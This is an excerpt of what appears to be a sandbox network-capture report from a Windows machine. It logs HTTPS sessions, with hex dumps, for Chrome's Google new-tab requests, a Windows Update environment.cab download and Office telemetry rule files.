2024-11-09 21:09:27 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-09 21:09:28 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 09 Nov 2024 21:09:27 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-09 21:09:28 UTC	336	IN	Data Raw: 32 37 64 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 27d3)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 30 37 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700315,3700949,3701070,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f Data Ascii: .length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_
2024-11-09 21:09:28 UTC	1378	IN	Data Raw: 6f 66 20 5f 2e 53 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 Data Ascii: of _.Sd)a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003d
2024-11-09 21:09:28 UTC	221	IN	Data Raw: 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 0d 0a Data Ascii: e(\"*\"))[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:te.hasOwn
2024-11-09 21:09:28 UTC	286	IN	Data Raw: 31 31 37 0d 0a 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6f 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 74 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c Data Ascii: 117Property(d)?a.setAttribute(te[d],c):_.oe(d,\"aria-\")\|\|_.oe(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};te\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	142.250.184.228	443	7216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-09 21:09:28 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 09 Nov 2024 21:09:28 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-09 21:09:28 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-09 21:09:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:29 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SMDEwKPvk7yDlZb&MD=lu5PmH97 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-09 21:09:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 52b6780a-d0f4-4343-8aa8-8dd1aeecc295 MS-RequestId: 69c2bef8-5091-4e1e-887f-a848aecf5f6e MS-CV: 6bxExq+4F06p8i36.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 09 Nov 2024 21:09:28 GMT Connection: close Content-Length: 24490
2024-11-09 21:09:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-09 21:09:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:29 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:30 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5163facb-101e-005a-1f71-32882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210930Z-15869dbbcc6hgzkhhC1DFWgtqs000000030000000000cvy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:29 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:29 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 26663d07-401e-0029-2faf-319b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210929Z-16547b76f7f8dwtrhC1DFWd1zn0000000bp000000000s84v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:29 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210929Z-16547b76f7fp46ndhC1DFW66zg0000000br000000000abbn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
